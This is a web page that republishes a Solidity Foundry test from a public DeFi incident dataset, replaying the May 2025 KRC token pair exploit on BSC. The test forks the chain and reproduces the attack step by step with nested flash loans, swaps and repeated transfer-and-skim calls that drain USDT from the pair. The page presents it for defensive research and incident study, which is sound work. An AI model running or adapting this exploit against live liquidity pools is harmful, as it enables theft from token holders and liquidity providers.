Skip to content
THREATWIRE

Public reproduction file

src/test/2025-05/KRCToken_pair_exp.sol

Public reproduction file for dataset entry KRC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/KRCToken_pair_exp.sol119 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 7k USD
8// Attacker : https://bscscan.com/address/0x9943f26831f9b468a7fe5ac531c352baab8af655
9// Attack Contract : 0xd995edcab2efe3283514ff111cedc9aaff0349c8
10// Vulnerable Contract : https://bscscan.com/address/0xdbead75d3610209a093af1d46d5296bbeffd53f5
11// Attack Tx : https://bscscan.com/tx/0x78f242dee5b8e15a43d23d76bce827f39eb3ac54b44edcd327c5d63de3848daf
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xdbead75d3610209a093af1d46d5296bbeffd53f5#code
16// @Analysis
17// Post-mortem : https://x.com/OpenZeppelin/status/1953111764536561867
18// Twitter Guy : https://x.com/CertikAIAgent/status/1924280794916536765
19// Hacking God : N/A
21contract KRC_Exploit is BaseTestWithBalanceLog {
22 uint256 blocknumToForkFrom = 49875424 - 1;
23 uint256 dodo_borrow_amount = 248157126634995412253694;
25 // --- Contracts ---
26 IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
27 IERC20 krcToken = IERC20(0x1814a8443F37dDd7930A9d8BC4b48353FE589b58);
28 I0x6098_DPP_DODO dodo_private_pool = I0x6098_DPP_DODO(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
29 IPancakeV3Pool pancake_v3_pool = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
30 IUniswapV2Router router = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
31 IPancakePair krc_pair = IPancakePair(0xdBEAD75d3610209A093AF1D46d5296BBeFFd53f5);
33 function setUp() public {
34 vm.createSelectFork("bsc", blocknumToForkFrom);
35 fundingToken = address(usdt);
36 }
38 function testExploit() public balanceLog {
39 // Step 1: Initial Flashloan from Dodo Private Pool
40 dodo_private_pool.flashLoan(0, dodo_borrow_amount, address(this), new bytes(1));
41 }
43 // Step 2: Dodo Flashloan Callback
44 function DPPFlashLoanCall(address, uint256, uint256, bytes calldata) external {
45 // Step 3: Nested Flashloan from PancakeV3 Pool
46 uint256 pcv3_flash_amount = 100000000000000000000000;
47 pancake_v3_pool.flash(address(this), pcv3_flash_amount, 0, new bytes(1));
49 // Step 10: Repay Dodo Flashloan at the very end
50 usdt.transfer(address(dodo_private_pool), dodo_borrow_amount);
51 }
53 // Step 4: PancakeV3 Flashloan Callback (Core Exploit Logic)
54 function pancakeV3FlashCallback(uint256, uint256, bytes memory) public {
55 usdt.approve(address(router), type(uint256).max);
57 uint256 deadline = 1747556507;
58 address[] memory path = new address[](2);
59 path[0] = address(usdt);
60 path[1] = address(krcToken);
62 // Step 5: First swap (USDT -> KRC) with a large amount to initiate the imbalance
63 uint256 amountIn1 = 144116157450400259173940;
64 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn1, 0, path, address(this), deadline);
66 // Step 6: Second swap (USDT -> KRC) with the remaining balance
67 uint256 amountIn2 = 204040969184595153079754; // Hardcoded from trace
68 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn2, 0, path, address(this), deadline);
70 // Step 7: The core manipulation. A series of 17 precise transfers and skims
71 // This desynchronizes the pair's cached reserves from its actual token balances.
72 // The values are taken directly from the original attack transaction.
73 krcToken.transfer(address(krc_pair), 26158607120271760914);
74 krc_pair.skim(address(this));
75 krcToken.transfer(address(krc_pair), 23542746408244584823);
76 krc_pair.skim(address(this));
77 krcToken.transfer(address(krc_pair), 21188471767420126341);
78 krc_pair.skim(address(this));
79 krcToken.transfer(address(krc_pair), 19069624590678113707);
80 krc_pair.skim(address(this));
81 krcToken.transfer(address(krc_pair), 17162662131610302337);
82 krc_pair.skim(address(this));
83 krcToken.transfer(address(krc_pair), 15446395918449272104);
84 krc_pair.skim(address(this));
85 krcToken.transfer(address(krc_pair), 13901756326604344894);
86 krc_pair.skim(address(this));
87 krcToken.transfer(address(krc_pair), 12511580693943910405);
88 krc_pair.skim(address(this));
89 krcToken.transfer(address(krc_pair), 11260422624549519365);
90 krc_pair.skim(address(this));
91 krcToken.transfer(address(krc_pair), 10134380362094567429);
92 krc_pair.skim(address(this));
93 krcToken.transfer(address(krc_pair), 9120942325885110687);
94 krc_pair.skim(address(this));
95 krcToken.transfer(address(krc_pair), 8208848093296599619);
96 krc_pair.skim(address(this));
97 krcToken.transfer(address(krc_pair), 7387963283966939658);
98 krc_pair.skim(address(this));
99 krcToken.transfer(address(krc_pair), 6649166955570245693);
100 krc_pair.skim(address(this));
101 krcToken.transfer(address(krc_pair), 5984250260013221124);
102 krc_pair.skim(address(this));
103 krcToken.transfer(address(krc_pair), 5385825234011899012);
104 krc_pair.skim(address(this));
105 krcToken.transfer(address(krc_pair), 2980897375759759211);
107 // Step 8: The profitable swap, extracting a huge amount of USDT
108 uint256 amountOutUSDT = 355361934507515425212391;
109 krc_pair.swap(0, amountOutUSDT, address(this), new bytes(0));
111 // Step 9: Repay the PancakeV3 flash loan with its fee
112 uint256 pcv3_repay_amount = 100050000000000000000000;
113 usdt.transfer(address(pancake_v3_pool), pcv3_repay_amount);
114 }
117interface I0x6098_DPP_DODO {
118 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address _assetTo, bytes calldata data) external;

Analysis

Dataset entry

Public Foundry test for “KRC” (2025-05-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x9943f26831f9b468a7fe5ac531c352baab8af655

  • Attack Contract

    0xd995edcab2efe3283514ff111cedc9aaff0349c8

  • Vulnerable Contract

    0xdbead75d3610209a093af1d46d5296bbeffd53f5

  • Attack Tx

    0x78f242dee5b8e15a43d23d76bce827f39eb3ac54b44edcd327c5d63de3848daf

File record

Name
KRC
Path
src/test/2025-05/KRCToken_pair_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e6cb36170a80e2cb0798b363bfce0ec9e38cf01d
Language
Solidity
Size
120 lines
Date
2025-05-18
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-05/KRCToken_pair_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e6cb36170a80e2cb0798b363bfce0ec9e38cf01d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.